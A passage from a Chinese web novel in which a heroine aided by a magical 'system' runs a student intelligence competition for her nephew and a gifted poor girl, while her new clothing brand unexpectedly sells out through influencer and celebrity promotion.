裴珩：“一般都是学校和官方组织的，商业的很少。” 池又青诶了一声，脑袋往下一低。 裴珩又说：“但也不是没有。” 池又青眼睛一亮。 裴珩说：“你想弄一个？” 池又青点点头，把自己的想法说出来。 裴珩：“可以，我帮你问问。” 见他答应的这样爽快，池又青反倒有些不适应，问他：“你都不问我为什么要弄这个吗？” 裴珩：“还好，有点习惯了。不管为什么，都要先帮你把事办妥当。” 池又青偷偷一笑，心想，裴珩现在跟052的精神状态倒是挺像。 没几日，池又青就从裴珩这里得到肯定的答复。 “基本都已经筹备好。”他说，“你看看？” 池又青跟个老板似的瞧着裴珩拿过来的项目计划书。 “黑匣科技？”她有些惊讶，“你怎么跟他们谈妥当的？” “有些认识的人在。”裴珩说，“你听过这个公司？” 池又青点点头：“虽然我不关注这些，但是这个公司真的很有名啊，不听过都不行。” 异军突起一样的一家科技公司。 对池又青这种外行人来说，总结起来就两个字：牛叉。 她又去瞧裴珩邀请的那些评委，名字不认识，挨着上网搜了圈，全都是学术界大佬级别的人物。 池又青嘴角微抽，发自内心地问：“裴老师，你别告诉我，这些人也是因为你有认识的人在。” 裴珩莞尔：“那倒不是。” 他顿了顿：“大多都是我认识的老师。” 池又青：“…………” 她很想问裴珩，既然如此，你怎么还混到失业的地步。 怕戳人痛处，池又青最终什么都没问。 万事俱备，她安心进入守株待兔模式。 果然，几天后，她收到了程筱的电话。 既然是比赛，光有一个人参加可不行，池又青给干妈打电话，很快就把这事促成，变成了教育局也支持的一场比赛。 江城九中收到上级安排，要在学校做一次初选。 粉笔灰在阳光里打着旋儿落下时，周正然正用板擦敲着讲台边缘。 空调外机在窗外嗡嗡作响，把“非学科素质拓展测评”几个投影字震得连连发颤。 “我听前面的班说这是智商测试。” “真的假的？那给我们做什么？” “你没这东西，我们还没有吗！说不定咱们班还能出个天才呢！” “天个鬼。”后排男生用卷子折纸飞机，正高高举起准备放飞，被周正然一截粉笔头精准击中后脑勺。 周正然没好气地说：“都给我认真点！这卷子是让你折来玩的吗！信不信我把你弄成飞机！” 在同学们的哄笑声里，他开始拆试卷包，并按照要求做提醒：“最后两道题参考哥尼斯堡七桥问题——当然你们这群小兔崽子肯定不知道这是啥。” 他把卷子往下发，同时说：“那什么，大家就凑个热闹，能写多少写多少，写不出来别逼自己。这些都是逻辑题之类的，你们看着写。” 陆季燃也收到了卷子。 听到周正然的话，他转了圈笔，当真随便写起来。 这场考完，大家都在私下讨论。 “这什么东西啊？怎么突然有这套卷子？” “我听说好像是最近刚刚开办一个竞赛！” “非学科的吗？那竞赛什么？” “不造啊。” “算了算了，跟我们也没关系。” 乌泱泱讨论一会，大家都作鸟兽状散开。 结果出成绩那天，周正然惊了。 池又青看到学校那边报过来的入选名单，盯着最后一名的名字，反反复复看了半天。 这难道就是男女主效应的魔力吗？ 陆季燃居然也擦边加入了竞赛！！ “卧槽。”池又青简直不敢相信，拉着裴珩，“我侄子有这么聪明的？” 裴珩提醒她：“你是不是没跟陆季燃说这件事？” 池又青：“什么事？” 裴珩抬手用指背敲敲竞赛营的宣传单。 池又青：“…………” 糟了。 一心关注女主去了，真把这便宜大侄子忘在脑后了。 于是，等陆季燃和其他好些位同学在学校的小会议室等着竞赛负责人来宣讲的时候，他眼睁睁看见，他那不靠谱的小姨默默走了进来，站在讲台上，对着他挥了挥手，说：“hi。” 陆季燃：“？？？” 啊？！ 他抬头看池又青，又看自己手里的竞赛宣传单。 不是，咱姨，你又折腾什么呢？！ 等注意到池又青对前排某个女生的特别关注以后，陆季燃眼睛微微眯起。 “那是谁？”他问身边的人。 对陆季燃这自来熟的提问，林砚平静地回答：“程筱，我的同班同学。” 原来这就是程筱啊。 陆季燃不知道怎么着，想到了不久之前，老师让他去给程筱送资料，池又青半路把这话截走的事。 “谢了兄弟。”陆季燃对身边的人，又问，“对了，你谁？” 林砚：“……” 他沉默地把自己的本子往陆季燃的面前挪。 瞧见那行名字，陆季燃反应过来。 好眼熟的名字。 怎么感觉在哪里见到过？ 陆季燃问：“ 你是不是考过第一？” 林砚：“经常。” 陆季燃：“…………” 他记起来了。 原来他身旁坐着的人就是林砚，九中一贯的年级第一，学神中的学神。 以前陆季燃老是在尾巴上，从没关注过这种事情，现在瞧见林砚，发现他也没什么特别的。 也是两个眼睛一个鼻子嘛。 比起这位传说级别的学神，陆季燃更加在意的是他的小姨。 别人不清楚，他难道不清楚吗？ 池又青之前根本不是什么竞赛组委会的负责人！ 等池又青在台上放完ppt，陆季燃跟着其他人一样，排着队等着上前对她提问。 他眼睁睁看到，池又青跟程筱说完话后，笑着摸了摸程筱的脑袋。 ！！！ 轮到他的时候，池又青的表情僵硬一瞬。 陆季燃在心里冷笑一声：呵，女人。 林砚站在他的身后，看见两个人大眼瞪小眼，耐心等了半天，没忍住，问：“陆同学，你有问题要问吗？” 是的。 林砚认识陆季燃。 别看一班是尖子班，不学习的时候一样八卦。陆季燃的众多事迹，林砚都从同学那听了个遍。 陆季燃：“……没问题。” 他盯着池又青：“你有问题吗？” 林砚：“？？？”倒反天罡啊这位同学！ 池又青：“没有呢亲。” 就算池又青这样说，陆季燃还是没走，看着她，又看看她的手。 池又青迟疑了下，把随手放在台面上的薄荷糖拿起来：“走吧走吧，给你。” 陆季燃就这样被迫捏着小铁皮糖盒走下去。 池又青跟一甘学生叨叨半天，解释得口干舌燥，走出小会议室的以为陆季燃已经走了，哪知道这小子跟熬鹰似的还在，站在门边，偏头看他。 池又青：“嗨呀，等我呢。” 陆季燃不说话。 池又青轻咳一声：“不是故意没提前跟你说的。” 陆季燃懂：“嗯，你只是忘了。” 他这话说得平平淡淡，但是委屈的小情绪也藏在其中显得格外明显。 池又青交代：“哎，晚上去吃烤肉？别不高兴啦。” 陆季燃：“我要点三盘牛肉。” 池又青哈哈笑起来：“好好好。” 她伸手揉揉傻侄子的脑袋：“放学见。” 陆季燃感受到女人落在头顶的力道，别扭的心情稍稍有些好转。 放学，一看池又青身边还站着个人。 陆季燃傻了。 “她怎么在这？”陆季燃看着程筱，问。 池又青本来是打算想尽办法阻止程筱和陆季燃见面的。 但见识到原著的力量以后，她放弃了。 还不如就让两小只在她可控且已知的范围碰头。 再说了，她跟程筱这几天接触下来，看她也不像是会跟原著里一样发恋爱脑疯的。 仔细想想，原著里程筱高考失利，其实陆季燃也不该背锅，毕竟程筱是因为渣爹的找事和奶奶的病重全都凑一块了。 现在渣爹是不可能找事了，奶奶的病重说不定也有解法。 这样一来，程筱的未来是不是也能够改变？ 思来想去以后，池又青决定让两小只正常接触，真要摩擦出什么火花，那就是天意。要是硬让他们两个人不见面，说不定原著之力总会变着法让他们两个人碰头呢。 池又青搂着程筱的肩膀，跟陆季燃解释：“我叫裴老师送程筱奶奶去省城检查身体去啦，奶奶让我帮忙照顾一下小孩。这两天程筱就先住我家里，顺便你们也可以商量一下关于竞赛的事情。喏，程筱，这就是陆季燃，我跟你说的那个侄子。” 程筱礼貌地跟陆季燃打招呼：“你好。” 陆季燃哼了一声。 程筱：“……” 程筱没生气，她看着面前一脸不好惹模样的男孩，实在有些想不明白。 为什么池姐姐这样温柔的人，会有这么个侄子。 看起来真有点傻的。 池又青把两人都领上车：“走吧走吧，去吃饭。” “正好这两天你们也熟悉下。”池又青说，“这次的赛事是非学科性质的，其实更像是一个大型游戏活动。只是游戏内容全都是跟各种智力考验题相关，大多是用来考察你们的逻辑能力，思维能力，以及记忆能力。” 池又青也是在052捏完比赛以后才发现这件事的。 “组队是随机的，三人一组，说不定你们到时候会成为队友。”池又青说完这话在心里吐槽，八成你俩都是队友。 毕竟原著的威力在这摆着呢。 “不可能。”陆季燃率先说，“我才不要跟她一组。” 程筱的表情尴尬一瞬。 “你抽什么风。”池又青一巴掌拍上陆季燃的后背，拎着陆季燃的领口把他拽到一旁问话，“你不喜欢程筱？” 这不应该啊。 原著的男女主初见面的好感度就算没往恋爱线发展，那起码也应该在正常的水平范围内波动吧？ 陆季燃现在这个态度算是什么事？ 陆季燃踢开面前的小石子，低头说：“没有。” “还没有呢。”池又青掐掐他的脸蛋，“要不要我拿个镜子给你照照，让你看看你现在是什么表情？” 陆季燃噤声一瞬。 回头瞄了眼正坐在烤肉店里，在他们走后就没动筷子，一直乖乖坐在原位的女孩。 “池又青。”陆季燃小声地说，“我问你一个事，你老实交代。” 池又青：“？？？” 【他该不会看出来你的存在了吧？】池又青问052。 052一惊：【不可能吧？！】 等待了一会，池又青听到陆季燃问：“你是不是更喜欢侄女？” “啊？”池又青懵圈了一瞬。 陆季燃说出自己的推论：“我就觉得奇怪，你怎么无缘无故在意程筱，还帮程筱拿试卷……” 池又青总算是懂了。 搞半天，陆季燃这是在吃醋啊。 她好笑地说：“想什么呢？我哪来那么多侄女侄子。” 她把那天到程筱家里遇到追债的人的事说了说，又对陆季燃说：“现在的她总让我想到以前的你，你起码还有我，她谁都没有。对人家态度好点，听见没？” 也不知道是哪句话忽然顺了陆季燃的毛。 “知道了。”他低头乖乖地说。 回烤肉店后的第一件事就是主动跟程筱示好，一句话不说，但是替程筱倒饮料，夹烤肉。 程筱觉得有些奇怪，看向池又青的眼神都写着求助。 池又青拍拍她的肩膀：“他这意思是在跟你说对不起呢，不过我这侄子没长嘴，你习惯一下。” 陆季燃：“？” 姨，亲爱的姨，我人还在好吗？ 第40章 第40章我去！爆仓了！ “陆哥，看啥呢，这、这么认真？”袁源经过陆季燃的桌边，瞧见他正在仔细地盯着手机，眼神里都写满愁苦。 陆季燃快速地把屏幕熄灭。 “没什么。” 被藏起来的浏览器搜索记录里，留着一个叫人看了都会沉默的奇怪问题。 ——侄子和侄女差别很大吗？ 陆季燃知道程筱跟池又青没关系，他才是池又青的家人。 可是，他已经接连两天晚上，听到楼下主卧传来的兴奋聊天声音。 大半夜的，池又青和程筱不睡觉，在床上聊什么聊？ 可恶。 明明是他的小姨啊！ 陆季燃想来想去，觉得这事谁都怪不了。 要怪只能怪他这性别。 “陆、陆哥，学神又来找你了。”袁源瞧见站在后门处的人，跟陆季燃说。 陆季燃回头看，穿着蓝白校服的两位，一个表情温文，一个盯着地板。 还真是让池又青说中了。 随机分组里，他跟林砚、程筱凑到一块去了。 三人将一块参加超智杯的竞选比赛。 现在，三人跟老师都商量好，每天下午第二节课以后，就要一块去做训练。 与其说是做训练，陆季燃觉得，这更像是程筱和林砚双双给他上培训课。 由于超智杯竞赛是以策略逻辑和通识记忆等作为基础考验项目，很多时候，硬刷题那套是没用的，必须锻炼思维方式。 九中的人听说他们三组队以后，都私下讨论，这 把估计是林砚带飞。 林砚的确挺厉害的。 在最初的训练阶段，陆季燃和程筱都能够感受到，林砚对很多知识都有所掌握，涉及面极广，而且面对难题游刃有余。 “挫败了？”池又青瞧着两小只回家吃饭的时候，兴致都不太高，询问道。 陆季燃戳戳米饭，没所谓地说：“还行吧，他的确很厉害。” 他本来就知道自己不算聪明绝顶的人。 他有几斤几两，陆季燃心里还是有数的。 他现在唯一能够依仗的，就是在睡觉的时候见周公，多跟周公再复习学习一番。 相较于他的好心态，程筱的挫败就显得要真实许多。 “池姐姐。”等陆季燃走了，程筱偷偷跟池又青说，“你会不会后悔啊。” “后悔什么？”池又青问。 程筱低着头，看着自己脚上绵软的拖鞋。她已经不记得自己有多少年没穿过这么合脚，这么舒服的拖鞋了。以前住在亲戚家里，她总是穿别人穿过的。尺码不合适，有的时候，鞋子更是被穿秃噜毛了。 在冬天穿起来根本不保暖。 到池姐姐这住几天，程筱不仅有了自己的合脚的拖鞋，还有新的睡衣。 她本来要睡客房，池姐姐怕她害怕，邀请她一起去主卧。 四件套好舒服，房间都是香香的。 程筱从来没想过，有一天自己能够来到这样的房间里。 她跟池又青聊天。 她讲自己的过去，也听池又青讲她的过去，半夜都不睡觉，看她以前出去玩的照片。不是在网上的模板图，也不是地理书上的标志。而是真实的，鲜活的，有各种故事的世界。 池又青说她以后也会有这样的未来。 程筱却不敢信。 她知道自己聪明，池又青说得没错，以前的成绩，她是有在故意控制。课本上的内容，她掌控得非常熟稔。 可是跟林砚组队接触以后，程筱发现，她也没自己想得那么聪明。 她的英语口语不好，不懂速记的办法，也不明白林砚讲的那些竞赛内容，特殊公式。 她查过才发现，那些都是大学才会用的知识点。 一想到池姐姐看好她，她却其实根本没有那么厉害。 程筱心里就会突突直打鼓。 这么多年了，池又青是程筱遇到的第一个这样相信她，给她机会的人。 程筱不想让她失望。 可是，现在看起来—— “哒。”女人把手伸到女孩的面前，冲着她打了个响指，“程筱，你知道吗？你现在不是拿自己跟林砚在比，等后面真正参加比赛，或者说，以后，你去更远的地方，见更多的人，你也不一定是在和他们自己做比。” “那是什么？”程筱不明白。 “你以为林砚是怎么长大的？他有高知父母，从小就开始规划他的学习，你在田野里打滚的时候，他的父母已经带他去上英语口语课。” 池又青把热好的牛奶拆开，倒进漂亮的瓷杯中。 “这个社会现在已经不是你足够聪明就能够闯出来的时代了。”她把牛奶递给程筱，“你在比较的，不是你和林砚之间的差距，而是你和林砚整个家庭之间的差距。” 这些话有些现实。 但池又青想，是时候让程筱去看清楚。 有的时候，学神是造出来的。 程筱捧着杯子，小手握着把手，指尖在白瓷表面的粉色小猫图案上磨蹭了下，问：“那……没有这些家庭的人，怎么办呢？” 她的父母没有远见，做不到从一开始就替她铺路。他们甚至是拖着她后腿，一步一步把她往下坠。 这样的她，该怎么办呢？ 要认命吗？ “就不要去比。”池又青揉揉她的脑袋，“程筱，你有自己的路要走。” “他们的起点，或许是你要花很多力气才能到达的终点，但那又有什么办法？不要去望着别人的路，程筱，去看看你是怎么走到今天的。” “换做另外一个人，来过你的生活，程筱，他们绝对不会比你做得更好。” 池又青喝了口牛奶，暖甜的感觉盈满她的胸口。她喜欢这种燕麦牛奶，不太腻，一切都刚好。 “这辈子能走多远多高不是人生的计分标准，唯一的标准，程筱，是你能不能够喜欢自己的人生。看清楚它的痛苦，知道它的局限，接受它，走出它。” 她瞧着面前这个有些稚嫩的小女孩。 “你会走得很远的。”池又青向她保证，“因为你已经走了很远。” 从残破的小镇，痛苦的童年里一路走来，程筱，你真的已经走了很远。 “今天早点休息啦。”池又青揉揉她的脸蛋，“明天裴老师带你奶奶回来以后，可以让他给你和陆季燃补课。反正初赛还有一段时间。” 【宿主。】052有些担心地问，【真不要我在比赛里帮忙？】 【不用。】池又青很坚持，【这是他们自己的比赛。】 052不理解：【可是如果程筱没拿到第一，你的计划岂不是就泡汤了？】 池又青轻笑：【会吗？我怎么觉得已经成功不少。】 052：【啊？】请问成功在哪里？ 池又青：【你以为我弄这个比赛是为了让程筱得奖，拿钱？】 052理所当然地答：【对啊，不然呢？】 池又青扬起眉头：【我只是想让她知道，不必藏拙，走出鸡窝，这外面全都是凤凰。要是她真的拿奖，那是非常好的事，会让她意识到，靠自己的能力的确可以改变一些什么。如果没有，也没关系。她起码跟这个时代里最聪明的一批人接触过了。】 【他们的家境，涵养，素质，各不相同。这些人，如果她一直待在学校里，根本不会见到。】 去见乾坤大。 再怜草木青。 池又青始终相信，有的时候，人的视野，能够改变一切。 在陆季燃和程筱忙着搞竞赛的事时，池又青和白琳正忙碌地准备着山海商店第一批货上架售卖的事。 网店是池又青选定的第一途径。 她们第一批没出很多货，按照池又青的预想，估计卖不出去多少。 这件事她没跟朋友们说，也没让他们帮忙推广，她想看看，要是只是靠自己的产品，最后能有什么效果。 商品刚上架那天，无人问津。 池又青花钱请了个体量还行的博主做新店推广，得到的数据反馈并不算好。 “别着急。”白琳说，“你看我们还是卖出了几单。一开始做生意都这样的，特别是现在这个年代，酒香不怕巷子深已经不存在了。前期肯定要投入一些宣传成本的。” “我知道，白琳姐，我不着急的。”池又青是真不急，她不怕亏，毕竟钱基本上都是从系统那薅来的。能卖一件是一件。 白琳这边她也付着钱，也不用担心如果一时收效不好，影响白琳的生活。 她都做好了生死看淡成绩随便的准备，哪知道，每隔几天，突然开始爆单。 池又青人傻了。 “白琳姐，你买推广了？”她问。 白琳摇头：“我还以为是你买的呢！” 池又青可没有。 她这次是真的打定主意听天由命了啊！ 之前找的推广效果不好，她都在想，是不是天意让她收手。 今天这是怎么回事？ 看着一直不断激增的下单人数，池又青开始上网搜索，瞧是个什么情况。 瞧着客服对话界面的白琳有点懂了。 她的手指在键盘上翻飞，屏幕上同时开着七个聊天窗口，一双眼睛飞快地在几个窗口里来回看，跟池又青说：“好像是有人在帮 我推荐，有好几个客户私聊的时候都提到是看了某主播的推荐。” “谁啊。”池又青好奇，“客户有说是谁吗？” 白琳决定随机挑选一个幸运观众：“马上，我问问。” “链接来了。”白琳把链接发给池又青。 池又青复制电话，系统自动跳转到某软件。 视频缩略图里，一个漂亮的鹅蛋脸正在展示他们新推出的常规款短T，标题赫然写着“冷门宝藏店铺，我按头安利“。 池又青看了眼，发布时间就在几天前。 这个人应该是在她们开始售卖当天就下单，拿到货就立刻拍了视频。 不单单推荐了她们一家，但挑选的其他几家质量都一般，让人看完视频，只会对她们的衣服感兴趣。 质量版型设计都不错，价格更是美得不要不要的。 视频已经有两万个赞，评论区都在要链接。 “是她？“白琳凑过来看屏幕，指尖无意识地绞着发尾。 “你认识？”池又青问。 白琳点点点：“就是小池你上次帮忙那件事……” 池又青：“单方面解约的那个人就是她？” 白琳嗯了一声，古怪地看着这个视频，有些后怕：“小池，你说，她是不是还有后招？” “不造啊。”池又青也不懂，她摆摆地说，“等真有招数再说吧，兵来将挡水来土掩。反正这次的确是免费推广，咱们就受着吧。” “你看一下后台数据呢，有没有什么异常。”池又青跟白琳说，“要是实在担心。” 白琳现在属于是一朝被蛇咬，十年怕井绳。 她忙仔仔细细看：“没什么问题，估计这个流量确实是直播间自然转化，没有异常操作的痕迹。” 窗外的梧桐叶沙沙作响，白琳想不通：“她不像这么好心的人啊。” 跟花小花打了不少交道，白琳可不相信这人能够做出这种事。 池又青忽然轻笑出声：“管她的呢，你信不信，白姐，她这几天又要来跟你道歉了。” 池又青还真没说错。 这一次，面对花小花的道歉，白琳不再跟之前一样无视，只是简单地回了些话。 就算只是这样，花小花那端也偷偷松了口气。 这一波她可真没坏心眼啊。 她甚至是把自己这一次的行为当做是道歉和示好。 说是道歉，其实花小花到现在也没觉得自己当时做错了什么。降本增效，谁不是为了这四个字？只是没想到，白琳不仅扛过那一波，甚至还搞起来了自己的店。 她又不瞎，看得出来，白琳身后必然有个贵人。 她是不怕得罪白琳，可是白琳身后这人的底细看起来可不简单。 花小花一想到之前白琳直播卖货时名模忽然在综艺里打开观看，就觉得事情没那么简单。 断尾求生，向上社交，这是花小花的原则。 她知道这点雪中送炭在白琳身后人看来或许根本不算什么，但是她也必须这么做。 以后就算真的对方为白琳秋后算账再提结束合约的事，她这边也有点人情能兑兑。 不管花小花怎么想，她这次的推广，的确是给池又青和白琳带来了不少热度。 有一些嗅觉灵敏的博主，也立刻跟上这波热度，买了山海商店的其他商品做测评。 整个店铺里在卖的商品并不多。 每个商品都在短时间内成为各大平台的热议对象。 一开始还有不少质疑的声音。 【什么牌子啊？风声这么大？】 【不知为什么感觉有一种马上要卷钱跑路的感觉……】 【老实说一件衣服二十来块能卷你多少钱…………】 【太便宜了啊！会不会是毒布料啊！】 【不管了，我人穷命硬，先买来试试！】 很快，山海商店的最基础款的T都被抢光了。 随着一批又一批的货发到买家的手里，各个平台上都开始有相关的讨论。 甚至在【大学穿搭小组】里，山海商店的标志T已经成为了组衣。 人手一件，童叟无欺，不买就亏！ 【纯棉布料好，版型不松垮，水洗也不变型，关键是才不到30块……我天！老板是来做慈善的吗？！】 【这才是我们发展中国家该有的物价啊QAQ】 【没人夸设计吗？露肤度适中，而且也不知道怎么做到的诶，有一种既展现自然身体线体的美，又不过分的感觉！】 【超级喜欢T上的那个随笔印花啊，小小的，但是特别可爱，感觉画得很好呜呜！】 【猫爪款我也喜欢！小爪印特别灵动呜呜！而且水洗标好舒服啊！一点也不扎人！】 【我一开始看这价格没打算买的，想着估计穿两下就不行了，结果……每天甚至穿着睡觉啊啊！又狂下单！】 【感觉老板真不赚钱啊，这水柔棉成本很贵的！我家做这个的，面料起码100＋一千克啊！】 池又青是真没打算用这个T来赚钱。 每件衣服赚到的那点，她都全部拿给了白琳。 搞品牌嘛，有个让人印象深刻的标志性产品是必须的。这个T对池又青来说就是这种存在。现在一下卖爆，从钱的方面来说是不赚不亏，够平账了，多出来的也能让白琳有收入。 但从心理收益来看，池又青心情好到没边。 她每天就偷偷看反馈，一看到有人夸，就觉得心里高兴。 一想到从她手里设计的衣服，精选出来的布料，一点一点成形，进入打包箱送到客人手里，然后，不知道是在世界的哪个角落，会有人穿着她的衣服，觉得舒服，觉得开心。 能够用这件衣服带来的小确幸点亮生活。 她就很开心啊。 《劳资蜀道（3）》 吃香喝辣还点鸭：@公主今天也不想带娃 吃香喝辣还点鸭：你刷到这两天很火的那个自然呼吸感短袖没？ 别读博会发疯：那是什么？ 吃香喝辣还点鸭：一看你就是天天写论文，两耳不闻窗外事，啥都不知道。 吃香喝辣还点鸭：大数据都已经往我这推了四五次了，真把我整好奇了，就有这么好穿？ 吃香喝辣还点鸭：我看还是个新店呢，不过这个衣服的设计，一看就是老手。 吃香喝辣还点鸭：公主～等他们家补货，我买一件，寄你那？等我空了回国找你拿。 吃香喝辣还点鸭：感觉要是邮寄到国外来的话，运费都比衣服贵了，不划算。 池又青是真没想到崔妍都能对这件衣服感兴趣。 她有点心虚地在群里回。 公主今天也不想带娃：你真想要啊？ 吃香喝辣还点鸭：二十来块的事，当然要买啊！买不了吃亏买不了上当！ 公主今天也不想带娃：咳，那我直接寄给你。 吃香喝辣还点鸭：你都买了？咱俩size又不一样，你寄给我我能穿？ 公主今天也不想带娃：我啥size都有，都寄给你。 吃香喝辣还点鸭：买这么多？ 别读博会发疯：……我有一个大胆的猜测。 别读博会发疯：我刚刚去那家店看了，发货地跟你现在的地方一样，都是江城。 别读博会发疯：@公主今天也不想带娃，速速交代！坦白从宽！ 吃香喝辣还点鸭：卧槽？ 吃香喝辣还点鸭：不会是我想的那样吧？ 公主今天也不想带娃：咳，那什么，我先自罚三杯。 公主今天也不想带娃：[向你转账20000] 公主今天也不想带娃：[向你转账20000] 公主今天也不想带娃：[向你转账20000] 一瞧这个阵仗，崔妍直接call过来，陈念也放下论文不写了，两个人轮流审问。 池又青老实巴交交代了。 “我是想着晚点告诉你们。”池又青说，“不然以你俩宠我的程度，只怕恨不得明天就把这牌子挂上时代广场大屏。” 陈念哼了声：“我不管，你就是和我们有小秘密了！” 崔妍也说：“没爱了，受伤了，呜呜。” 池又青：“两个新包？” 崔妍 ：“三个！” 池又青：“成交。” 陈念偷笑：“不过，青宝，你该不会是怕我们告诉你妈妈吧？所以没把这事告诉我们？” 崔妍细想也觉得是这么个理。 毕竟池又青上次大学弄自己的针织玩偶的时候，她俩快把全世界的广告打完。家里所有亲戚朋友基本都被她们送过。 再往前想想，池又青高中做义工，给亚洲黑熊保护中心设计了周边，她俩也整了个大的，直接买了两大箱，见人就发，恨不得让全世界知道，这是闺蜜的作品。 大学比赛那件事后，崔妍和陈念都很久没见到池又青再设计什么，更没见过她拿起画笔。 其实她俩也都挺为池又青开心的。 也隐隐能够理解她为什么会悄悄去干这件事。 谁没点偷偷努力惊艳所有人的时候呢？ “不过，死罪能逃，活罪难免！”崔妍故作严肃地说，“罚你把所有单品都寄一套给我，立刻，马上，现在！” 池又青被她逗笑：“怎么，这么着急给我打广告啊。” 崔妍想当然道：“不然呢？老娘全身上下可都是广告位，反正都是要穿衣服的，肥水不流外人田，当然要把机会留给我最喜欢的女孩。” 池又青哪会拒绝？ 当天就从仓库里找了一堆货出来，各个打包后，又让朋友的私人飞机顺路带走，送到崔妍手里，也打包了一堆，分给陈念。 她本来以为崔妍的意思就是平常出门穿穿，街拍里给她带带货。 毕竟崔妍好歹也是个国际名模，出门也有不少人盯着。 哪知道，没多久，池又青盯着爆仓的消息，陷入了沉思。 感觉这不是街拍就能达到的效果啊…… 她这亲亲好姐妹是又做了什么？！？！ 40-50 第41章 第41章小姨，你不用理她。 “啊啊啊！” 一声惊叹打破原本安静的氛围。 白琳神色惊惶，快步走到池又青身旁，急切问道：“小池，你认识那个霍励吗？” 池又青听到这个名字，微微皱眉，在脑海中反复搜索，却怎么也拼凑不出与之相关的记忆。 见状，白琳迅速掏出手机，手指快速滑动，很快翻出一张照片递到池又青面前。 照片里，霍励五官深邃立体，眼神明亮，浑身散发着一种与生俱来的明星气场。 “有点眼熟。”池又青指尖搭在下巴上，语气中带着一丝不确定。 白琳在一旁，无奈地瞥了池又青一眼，叹气道：“他最近超火，演的好几部戏都火出圈了，帅得一塌糊涂，你居然都没看？” 池又青笑着摇摇头，最近事一桩接着一桩，她哪有闲情逸致追剧。 打量着白琳，池又青心中不禁泛起一丝诧异。 白琳都到了当妈的年纪，孩子都不小了，竟也痴迷这类电视剧。 瞧着白琳眉飞色舞的模样，追星的热情几乎要溢出来。 池又青暗自感慨，果然是少女心至死不渝。 “怎么突然问起他？”池又青满心疑惑。 白琳没有直接回应，而是把手机上刷到的消息推到她眼前。 “啊啊！你看，他穿了我们家的衣服！” 池又青瞳孔骤缩。 手机屏幕上，是霍励刚发布的微博。 微博配文写着：“最近很喜欢的一件，非常舒服，nice。” 配图里，霍励身着他们家店的猫爪T恤，笑容灿烂。 “我还以为你认识他呢。”白琳挠了挠头，满脸困惑，“不然实在想不通，大明星怎么会突然晒我们家衣服。” “不认识啊。”池又青耸耸肩，她向来对娱乐圈男明星提不起兴趣。 可就在这时，池又青脑海中突然闪过一道灵光。 等等，难不成这里面有瓜吃？ 稍作镇定后，她手指在屏幕上快速点击，找到崔妍的对话框，二话不说，直接把微博截图发了过去。 没过一会儿，崔妍的电话就立刻call了回来：“现在才发现？看来还是霍励这男的不够火。” 池又青失笑：“你让人弄的？” 崔妍的字字句句里透着一股邀功的劲儿：“怎么样？效果不错吧？而且阿姨绝对发现不了！” 池又青不得不承认，这次推广效果堪称完美。 就算妈妈想象力再丰富，把脑袋想破，也绝想不到这个被大明星推广的服装品牌，背后竟和她有关联。 换作崔妍来推就不一样了。 她妈但凡看见，不用想也能猜出来。 但乐归乐，池又青的好奇心瞬间被点燃，像只爪子在心里挠啊挠。 “效果是不错。”池又青玩着手边的签字笔，漂亮地转了个笔花后，敲敲桌子，“问题是，你什么时候又跟这人搞上的？上个月不是还在跟那个Tom还是Dam玩吗？” 崔妍没所谓地说：“分了啊。” 池又青：“这个呢？” 崔妍：“没谈。” 崔妍清醒得很：“看秀认识的，你知道的，秀场结束后有聚会，灯光一打，看对眼了，就做了点成年人的事。我本来以为这事就这么算了，哪知道对方还有点粘人。” “那要谈吗？”池又青问，“他看起来比你之前的那些男朋友好点。” 崔妍：“不谈，我现在算是明白了。男人只能拿来用，不能拿来谈。你看，现在用一用，不是很好吗？能拿来支持姐妹事业的男人，才是好男人。” 池又青被这话逗笑：“行吧，那你自己也小心，别到时候把自己玩进去。” 崔妍：“玩进去就玩进去呗，反正你情我愿的事。别光说我，倒是你。跟你那个好邻居，这么长时间了，就那么一点点进展？光啃巴两下嘴啊？行不行啊你。” 池又青想说不是的，他们还差点牵手。 要不是白盛飞那一声嘹亮的嗓音，她肯定把裴珩的手好好玩一遍。 但这个战绩跟闺蜜比起来，实在不值得一提。 于是池又青闭嘴了。 * 有了霍励的宣传，网店销量暴涨。白琳盯着进账金额乐开了花，哪怕忙到深夜也干劲十足。 池又青盯着系统发过来的成就点，人还有点懵。 【怎么我卖衣服还能有成就点？】她想不通。 052解释：【系统判定，宿主改变了原定的命运轨迹，所以是有效改造，会根据改造结果发放不同奖励。】 池又青：【那这些返点是什么？】 她都做好了亏钱一段时间的准备，哪知道系统每天给她发钱。 池又青觉得这日子有点不真实了。 【系统判定这是改造成本所以按照一开始约定好的，报销程序会持续运行。】052翻看系统的运行文档以后，说。 池又青：【……？】 她感觉自己又发现了一个超级大bug。 池又青：【就算我亏本也要给我报销？】 052：【……理论上说是的，但没人想要亏本吧！！】 池又青：【嗨呀。】 突然觉得前途光明起来。 那她多投几个项目，亏了也有赚，赚了还能翻倍赚。 岂不是完美？ 池又青盯着自己的掌心，第一次感觉到：赚钱，竟是如此易如反掌！ 她说起风就是雨，立马清点自己手里的资金，拉着裴珩找建议，挑了三四个初创公司投钱。 裴珩问：“怎么忽然想到投资？” 池又青以前的钱都是交给专员管理，主打一个和平生财，绝不沾染过于风险的行为。她还是有点自知之明的，怕以后赚不到钱要吃老本，为了保证自己一辈子都能在如今的生活水准下生活，她可不敢乱来。 但现在不一样了呀。 池又青笑得像只偷腥的猫：“因为我觉得我最近运气比较好。” “对了，竞赛那边是不是快到决赛了？”池又青问。 她这段时间忙着弄衣服的事，都没怎么有空管陆季燃。 但根据系统的反馈来看，陆季燃这 段时间进步不少。就连程筱也是。 一眨眼，三人小组就闯进了决赛圈。 “后天。”裴珩说，“你要去吗？” “去啊。”池又青毫不犹豫，“我肯定是要去。” 池又青找到白琳，直言：“姐，我得离开一阵，店就靠你了。” 白琳一拍胸脯：“放心！” 紧接着又问，“你要去哪儿？” 池又青回应：“之前弄的竞赛快结束了，我得去处理。” 白琳最近也不知道这些事，一问才晓得，池又青居然还在背后搞了个阵仗不小的竞赛。 “你是这个。”白琳朝着池又青竖起大拇指，“去吧去吧，这边有我呢。” 白琳办事池又青放心。 交代完一圈后，她收拾好行李就往海市去。 竞赛的决赛在海市的郊外度假村举行。 一开始池又青是没想整这么大的比赛的，但随着黑匣的加入，干妈的出手，她这比赛好像就莫名地一路高走。 甚至还有不少人在网上蹲点看比赛直播。 这感觉，就好像你一开始搓面团只是想要蒸一个小小的馒头，一出锅，发现这馒头忽然变成了超级无敌大。 052点评：【宿主，你这是有心栽花花不开，无心插柳柳成荫。】 池又青：【那咋了？管用就行。】 